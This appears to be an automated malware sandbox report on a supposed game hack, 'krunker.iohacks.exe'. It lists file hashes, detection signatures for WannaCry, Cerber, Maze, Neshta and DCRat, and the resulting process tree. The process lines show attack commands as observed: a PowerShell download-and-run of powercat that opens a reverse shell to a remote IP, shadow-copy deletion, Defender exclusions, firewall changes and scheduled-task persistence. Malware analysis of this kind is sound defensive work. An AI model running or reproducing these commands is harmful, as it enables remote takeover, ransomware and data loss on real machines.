memory/2796-1624-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2808-1628-0x0000000000300000-0x0000000000340000-memory.dmp

memory/1980-1627-0x0000000068A7D000-0x0000000068A88000-memory.dmp

memory/2796-1650-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2796-1641-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2856-1666-0x00000000003C0000-0x00000000003D6000-memory.dmp

memory/2856-1640-0x00000000003C0000-0x00000000003EF000-memory.dmp

memory/2796-1667-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2796-1668-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2796-1626-0x0000000068A7D000-0x0000000068A88000-memory.dmp

memory/536-1622-0x0000000000400000-0x0000000000705000-memory.dmp

memory/2652-1374-0x0000000004760000-0x00000000047A0000-memory.dmp

memory/3012-1371-0x0000000000400000-0x0000000000416000-memory.dmp

memory/2528-1364-0x0000000002C20000-0x0000000002C5D000-memory.dmp

memory/932-1363-0x0000000000400000-0x000000000041B000-memory.dmp

memory/2956-1350-0x0000000000400000-0x000000000041B000-memory.dmp

memory/2324-1359-0x0000000000400000-0x000000000043D000-memory.dmp

memory/1408-1349-0x0000000000260000-0x000000000029D000-memory.dmp

memory/2324-1358-0x0000000000230000-0x000000000023F000-memory.dmp

memory/2612-1337-0x0000000000400000-0x00000000004CC000-memory.dmp

memory/2856-1270-0x00000000003C0000-0x00000000003D6000-memory.dmp

memory/3012-1273-0x0000000000400000-0x0000000000416000-memory.dmp

memory/2796-1678-0x0000000000750000-0x0000000000850000-memory.dmp

C:\Windows\directx.sys

MD5 bd74d1d5910c6b176b175bba40656e47
SHA1 3c7af9539ab09824d5ceea004b784316e174eb68
SHA256 b735fc74273fd533edf57df7823e677f608c262d13574a878aac7f16168a84c0
SHA512 31455f1a3f10b12d4222414e3b569e4b085742e97cda0d46c93862b5e26382a7e6ea529d4572413b4779137ea15faed46fc4bee71d95f9fd1b3c69635dedd1ef

C:\Users\Public\Desktop\@[email protected]

MD5 67b2ae791f730c739449917c3a35df11
SHA1 7587ebee14459453f1259cbc26e25e2a349289a7
SHA256 bb4f152a23d3fa140cab07964e724ae71e19d7d0e8ce9af92e74c2351ccca138
SHA512 3f286304995d69de93336d899319592cc3c92249e07f39d0e143467a4e1221b17c9f0677957f98ffc468d9c7579b52f1cfcbf21d747419ae93fac293432e87b4

memory/2528-1267-0x0000000002C20000-0x0000000002C4F000-memory.dmp

memory/2796-1237-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2796-1254-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2856-1252-0x00000000003C0000-0x00000000003D6000-memory.dmp

memory/2796-1250-0x0000000000750000-0x0000000000850000-memory.dmp

C:\Windows\directx.sys

MD5 f885d87964363b63dd02fa0764914e34
SHA1 f4040260ce0513af83c51129835e39fc1dc5b8cd
SHA256 6fe00c54216384322f650a0eee44b055009039ebb425ed0c07c458e32c97740f
SHA512 054af68bcf1bbfe0721fe210d9a56fa5d43bef94107c45c84e34edea6df9d05ea4d7e019a1c25d2e6568d903992164ed12f5e58dc7fb866956e0b41a56f61b1b

memory/2796-1226-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2796-1225-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2796-1224-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2796-1223-0x0000000000750000-0x0000000000850000-memory.dmp

memory/2956-1222-0x0000000000220000-0x000000000024F000-memory.dmp

memory/2956-1215-0x0000000000220000-0x000000000024F000-memory.dmp

memory/2856-1213-0x00000000003C0000-0x00000000003EF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Tar2A5E.tmp

MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

C:\Windows\directx.sys

MD5 bbed701608cbe4a21a65bf8e332ce8fb
SHA1 1ff2e6f9d226c76dacb4bf161194f11bcc0507eb
SHA256 a2e472c8570889878527277d70b7af9fdb9e04dc5494ab3196ca8a08fd9abc46
SHA512 897fc5b42d2113aab6e00209a73b5be7c899d7debe332c372b2c773ceaaab7287a5ad5861b7c024f391193b0918a70062db007a21135144af8f7fd506df1effc

memory/1140-1696-0x0000000000400000-0x000000000041B000-memory.dmp

memory/668-1697-0x0000000000900000-0x0000000000D00000-memory.dmp

memory/2856-1698-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Windows\directx.sys

MD5 d8af0952bb349e127e82cfe1cc35473d
SHA1 45899af6eee06f4f67403d6ebce9b17d62c953dd
SHA256 0950b757238d83b6c1e67dbb48b71e9a1d3ed289c45b5aebbd053f3ddf7927d7
SHA512 15c2aa781cfd2bcf34f754fa6b868a23f4b5a0d29e22e60412db7aead41a9570a13b6aabb1127a4a0347c23b724e99b4329c75ee6ecb80d0cb5b1f241890536a

C:\Users\Admin\AppData\Local\Temp\nsy58CC.tmp\INetC.dll

MD5 5d1cdeecd0b10a9d60fb0e8c53f5df07
SHA1 45d01b90a434164fec73257868f1682cb28e8af3
SHA256 f3cad51f7e818407fc7841c86b5af86a2732281f988584bb0c657288df40a877
SHA512 19f76b322af59778da906c0baa44c22fb6424d2400c151c3b0a54d227cf69099e568d0d4c17a5ad8c8ed4e9f768b9a0ac188386d95a440337a85fc1a9c592507

C:\Windows\directx.sys

MD5 e48dd15c2622de57f9d96167526aa29b
SHA1 227e44c82be64d3b54a0d237018a874ea16c6982
SHA256 b84d90ce79f74578bf032d5481e92435bb92dc5da421f090dacf3184478d0e60
SHA512 371d73f5ebbb28aa7ff462905c6176f35c817dc18bed35d06b6e68022c6887b871fcf655fd0190523ebf3a16818c8df3bb6479fb27aef2175fa0894105ec0aa0

C:\Users\Admin\AppData\Roaming\WindowsUpdate.exe

MD5 2641918ff81e833d989fe0289dea1ee9
SHA1 4d97e36b109b9d3699865e99e9e12ddcf2736cb9
SHA256 252e711dad86c130031f8acb38809de6b557d71a2ea1ae84bca5abba6e00222f
SHA512 671657e495714f95b714bb2c78b3f18bc2023352d05885adbf86a0a0fc82e33c1c25306737a3f8aaa5bb8216c7fe20c02d691e6a7e447c4718d01c4908588ff9

C:\Program Files (x86)\Microsoft Office\Office14\MSOCFU\WINWORD.exe

MD5 9237995266895eef1728f3b1bb7e6f49
SHA1 393dc89024a80aafffeca8eefad682fe04d06359
SHA256 bf59814ac424b4365fa9206e4f8d0272f3b65f9bb102b4706a75cf5d6b9f18e2
SHA512 5a01c694588819760094efe97e99547770745b21e21120dc55085f9e4723f9d296dea96278573fe2a6ffda21bf02c6966c0a3b8c2212f7df4bc9ae3b6cf36868

F:\$RECYCLE.BIN\DECRYPT-FILES.txt

MD5 9cbd449881e0d33ef8bde2a82078fcb7
SHA1 514f98f826eae196ade4da999d82bf43f96806e0
SHA256 45f45edd64b75eac8abb5682b318c5950786e3d5e6656c291f0c9cbb70c96693
SHA512 030dfbb3e4c8aba70b84112a8fbb01fc3f2413b17be4b060d3207fdc7fab2dbafbc4db5ed85afc602c636679159bba7b79ab272bd30148f78c92ca9e84949ac9

C:\ProgramData\system.exe

MD5 e817d74d13c658890ff3a4c01ab44c62
SHA1 bf0b97392e7d56eee0b63dc65efff4db883cb0c7
SHA256 2945881f15e98a18d27108a29963988190853838f34faf3020e6c3c97342672d
SHA512 8d90ef308c1e0b7e01e7732e2cd819f07bfc1ef06e523efa81694ced75550c9f1be460fc9de412faeb96273a6492580402ab9c9538ed441fc26d96b6785e7815

C:\Windows\directx.sys

MD5 c93ff55f5c5a9e2323b2f5d677bdbee1
SHA1 3e1c36c7d34bafad15e140ce5b03734f6aa87d1d
SHA256 15a9b8e44230a9fef940f579e061c1db4244d2aae8a68f6139227b034e9f28cc
SHA512 8912432056d997f4847afcebbe0dca43e3d8bc249d539ebf937ab77871d797d6f84ff860fbccec6bffab898bf18edb30ea5805e8ed8c63e05a3272b0e512aa3a

C:\Windows\directx.sys

MD5 efb659e96850377294e032f1ee58f0ec
SHA1 236e97b5a5d770bc232229d4e417b875cabc5ded
SHA256 809518ed57cfb392db7a345664e8d550d2be13b1a2a4b93b63baae89ed514a74
SHA512 601586c384f2009eaed3db0c07382bef1b728e6d6ec48c71f72d7f30304d1331879306a384a22f1062999d27ddb621d92b1b619840977ca4532fddc91bad18ed

C:\Users\Admin\AppData\Local\Temp\slc.0.bat

MD5 0e4eb97321bbc8b2cae4fca0daaff898
SHA1 1afaca2d6f6697756d71b625101e60fc0c2f1d4b
SHA256 ef7a63339d02a17f84fec2b36994f12e3dca9fa9105debc3558ed777f06f3073
SHA512 6bdaf67f3e6f08a9533328146483524487328b75ca99e16cade21f630e278418e88d904f97dd4590f93b1162a432a4fdcd49640f7d79b1adca233822fd964195

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 a68987d250e7b442e5d9904c02633e45
SHA1 89d8bec06407d4d846a2317ab913345ed835190a
SHA256 6d2b3244657c2a71e36be70093dc7bcd0995f43628b1fa6ef17094e6dec4cedf
SHA512 4c83b7aa480a624adff2a95617dfa284c584707c7e55c24c7a8d43621dd8a06ff2e4ea2896629ebe0afccce322a83404496aa5c6bbe9ca326340a5cefc8c27b9

C:\Windows\directx.sys

MD5 fea0125dcea6fa701527d3f7a1c2dcbf
SHA1 88bb3d8fca949a09accd25e975f39ede822dc6f4
SHA256 c5791a25ced9767b8caf4ee9e88257719cc59c1302c5184edcea731d45381d5e
SHA512 e6794ad8cf2a1f43e262bd462a5e9a845ee4b097b200c41fd11edbc431f8ec7cab5e14c41a96683e0296351c84bfc83446febe57b31ed7b2b3851e071a392b8b

C:\Users\Admin\AppData\Local\Temp\nseFF49.tmp

MD5 c166e2e776c0aaa3c825e9dd4aa63daa
SHA1 6cd682eaade1d06083f802fe6688cdcdb3256235
SHA256 61697c885c7af0d9a69bc71b2cd23f2dd007b6f4dedce474f77303f95f941ea4
SHA512 40924e560be17ec4d0574e658619d1d2f53b288a44f096d573516e44ed74266ef5706f0c30c56d7cc9a4489f884d77eb26dac890ccde34c7eab1cac32e518e81

C:\Users\Admin\AppData\Roaming\Microsoft\Speech\Files\UserLexicons\SP_66F2F37D29BB4868A16ED01F99BEA1BE.dat

MD5 641b215b698042061ee7febcc98df8c0
SHA1 a7b8c606f0b7c9d76299ea2bfae3366c6e4106dc
SHA256 530128a62b26ec5f12d152767695a831d5af8075c8c2ba31769736180a9c7416
SHA512 28f406b7d85b355f75748749892eb85f3d1c34431761b6e4b04df17537ec8bf178a0bb5507d3fc612bea46f2a894a4f7ed5b1f47205586d110985dab74d3078c

C:\Windows\directx.sys

MD5 61de2221b2e2d4601e4ffb9ee56a4686
SHA1 7dd985c139311be2851ef4874f231c8c39ebe5d9
SHA256 74cd74ac94e414356340942943e52cedfcc0092c12907aa9c34be5a223e827fa
SHA512 ded0bd6f9e1780021d59a0f9c9d309872a71aee4fd1331d6a207c95166d6b074bfb34260faf86f334d0bd4a93b4390052690b2d5a4450f59cdd16206bd2c45a9

C:\Users\Admin\AppData\Local\Temp\nsy58CC.tmp\Math.dll

MD5 ebd8a7a5042ae1d4ce1aa9071859c851
SHA1 ee508ce7cbe8b1b0bd471bee43e1ec19d21e8ad6
SHA256 fb6a0072377325b5da0d1da236d9da2610608e9ab74318e15540cc7aca75f837
SHA512 daebecc30e91b19737b346ed7ac85ada87757f53fa67fdd262ba617b29c24ebde4058171f71bf1bc8d0d8b39a9a346c7ef2a9968908dbc16723069d8f9507b0e

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-10 00:36

Reported

2024-01-10 00:39

Platform

win10v2004-20231222-en

Max time kernel

1s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe"

Signatures

Cerber

ransomware cerber

DcRat

rat infostealer dcrat

Detect Neshta payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A

Maze

trojan ransomware maze

Neshta

persistence spyware neshta

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Ramnit

trojan spyware stealer worm banker ramnit

Wannacry

ransomware worm wannacry

ZGRat

rat zgrat

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes shadow copies

ransomware

Contacts a large (551) amount of remote hosts

discovery

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A

Stops running service(s)

evasion

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Uses the VBS compiler for execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\NOTEPAD.EXE N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1552 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe C:\Windows\SysWOW64\cmd.exe
PID 1552 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe C:\Windows\SysWOW64\cmd.exe
PID 1552 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe C:\Windows\SysWOW64\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe

"C:\Users\Admin\AppData\Local\Temp\krunker.iohacks.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\wecker.txt.bat" "

C:\Users\Admin\AppData\Local\Temp\RarSFX0\4363463463464363463463463.exe

"4363463463464363463463463.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\bot.exe

"bot.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\[email protected]

"[email protected]"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RIP_YOUR_PC_LOL.exe

"RIP_YOUR_PC_LOL.exe"

C:\Users\Admin\Desktop\1.exe

"C:\Users\Admin\Desktop\1.exe"

C:\Users\Admin\AppData\Local\Temp\is-0CISE.tmp\ska2pwej.aeh.tmp

"C:\Users\Admin\AppData\Local\Temp\is-0CISE.tmp\ska2pwej.aeh.tmp" /SL5="$7023C,4511977,830464,C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe"

C:\Users\Admin\AppData\Local\Temp\is-SQRN9.tmp\x2s443bc.cs1.tmp

"C:\Users\Admin\AppData\Local\Temp\is-SQRN9.tmp\x2s443bc.cs1.tmp" /SL5="$C0174,15784509,779776,C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c 188771704847029.bat

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6467.tmp\6468.tmp\6469.bat C:\Users\Admin\Desktop\1.exe"

C:\Windows\SysWOW64\attrib.exe

attrib +h +s F:\$RECYCLE

C:\Windows\SysWOW64\netsh.exe

C:\Windows\system32\netsh.exe advfirewall set allprofiles state on

C:\Users\Admin\AppData\Local\Temp\RarSFX0\x2s443bc.cs1.exe

"x2s443bc.cs1.exe"

C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe

"C:\Users\Admin\AppData\Local\Temp\3582-490\bot.exe"

C:\Windows\SysWOW64\netsh.exe

C:\Windows\system32\netsh.exe advfirewall reset

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/2bB2s6

C:\Windows\SysWOW64\icacls.exe

icacls . /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\attrib.exe

attrib +h .

C:\Users\Admin\AppData\Local\Temp\RarSFX0\ska2pwej.aeh.exe

"ska2pwej.aeh.exe"

C:\Windows\SysWOW64\cscript.exe

cscript.exe //nologo m.vbs

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe" --single-argument https://iplogger.org/2bB2s6

C:\Users\Admin\Desktop\10.exe

"C:\Users\Admin\Desktop\10.exe"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc6.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc6.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc6.exe

C:\Windows\SysWOW64\icacls.exe

icacls . /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\attrib.exe

attrib +h .

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\TEMPSP~1.EXE"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\8368.tmp\spwak.vbs

C:\Windows\SysWOW64\wscript.exe

C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\Temp\802C.tmp\splitterrypted.vbs

C:\Users\Admin\AppData\Local\Send Reports Form\sendreportsform.exe

"C:\Users\Admin\AppData\Local\Send Reports Form\sendreportsform.exe" -s

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\802C.tmp\splitterrypted.vbs

C:\Users\Admin\Desktop\8.exe

"C:\Users\Admin\Desktop\8.exe"

C:\Windows\SysWOW64\wscript.exe

C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\Temp\8368.tmp\spwak.vbs

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5996 CREDAT:17410 /prefetch:2

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\9.docm" /o ""

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\ProgramData\SoftwareDistribution\wininit.exe'" /rl HIGHEST /f

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc4.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc4.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc4.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\PROGRA~3\system.exe"

C:\Users\Admin\AppData\Local\Temp\is-9MR1F.tmp\tuc4.tmp

"C:\Users\Admin\AppData\Local\Temp\is-9MR1F.tmp\tuc4.tmp" /SL5="$1047E,4512135,54272,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc4.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "VSSVC" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\VSSVC.exe'" /rl HIGHEST /f

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\ProgramData\Application Data\wininit.exe'" /rl HIGHEST /f

C:\PROGRA~3\system.exe

C:\PROGRA~3\system.exe

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2308 CREDAT:17410 /prefetch:2

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\rdpencom\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Users\Admin\Desktop\7.exe

"C:\Users\Admin\Desktop\7.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Endermanch@Cerber5" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Endermanch@WannaCrypt0r\[email protected]'" /rl HIGHEST /f

C:\Users\Admin\Desktop\6.exe

"C:\Users\Admin\Desktop\6.exe"

C:\Users\Admin\Desktop\5.exe

"C:\Users\Admin\Desktop\5.exe"

C:\Users\Admin\AppData\Local\Send Reports Form\sendreportsform.exe

"C:\Users\Admin\AppData\Local\Send Reports Form\sendreportsform.exe" -i

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\3.xlsx"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy\msedge.exe'" /rl HIGHEST /f

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\BbBUB7BeCh.bat"

C:\Windows\SysWOW64\netsh.exe

netsh firewall add allowedprogram "C:\ProgramData\system.exe" "system.exe" ENABLE

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\limm.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\limm.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\limm.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\2.doc" /o ""

C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe

"C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe"

C:\Users\Admin\AppData\Local\TEMPSP~1.EXE

C:\Users\Admin\AppData\Local\TEMPSP~1.EXE

C:\Program Files (x86)\Microsoft\DesktopLayer.exe

"C:\Program Files (x86)\Microsoft\DesktopLayer.exe"

C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe

C:\Users\Admin\AppData\Local\TEMPEX~1SrvSrv.exe

C:\Users\Admin\AppData\Local\Temp\is-RJMBT.tmp\tuc6.tmp

"C:\Users\Admin\AppData\Local\Temp\is-RJMBT.tmp\tuc6.tmp" /SL5="$70232,4514312,54272,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc6.exe"

C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe

C:\Users\Admin\AppData\Local\TEMPEX~1Srv.exe

C:\Users\Admin\AppData\Local\TEMPEX~1.EXE

C:\Users\Admin\AppData\Local\TEMPEX~1.EXE

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\TEMPEX~1.EXE"

C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe

C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe --single-argument https://iplogger.org/2bB2s6

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ww.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ww.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ww.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Windows\system32\wbem\wmic.exe

"C:\n\sw\a\..\..\..\Windows\kppsd\..\system32\xrs\kpq\..\..\wbem\tj\d\..\..\wmic.exe" shadowcopy delete

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 300 -ip 300

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 300 -s 484

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected] co

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c start /b @[email protected] vs

C:\ProgramData\Application Data\wininit.exe

"C:\ProgramData\Application Data\wininit.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected] vs

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x4dc 0x320

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___RP3RN0S_.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___NI3PJ6I_.txt

C:\Windows\SysWOW64\cmd.exe

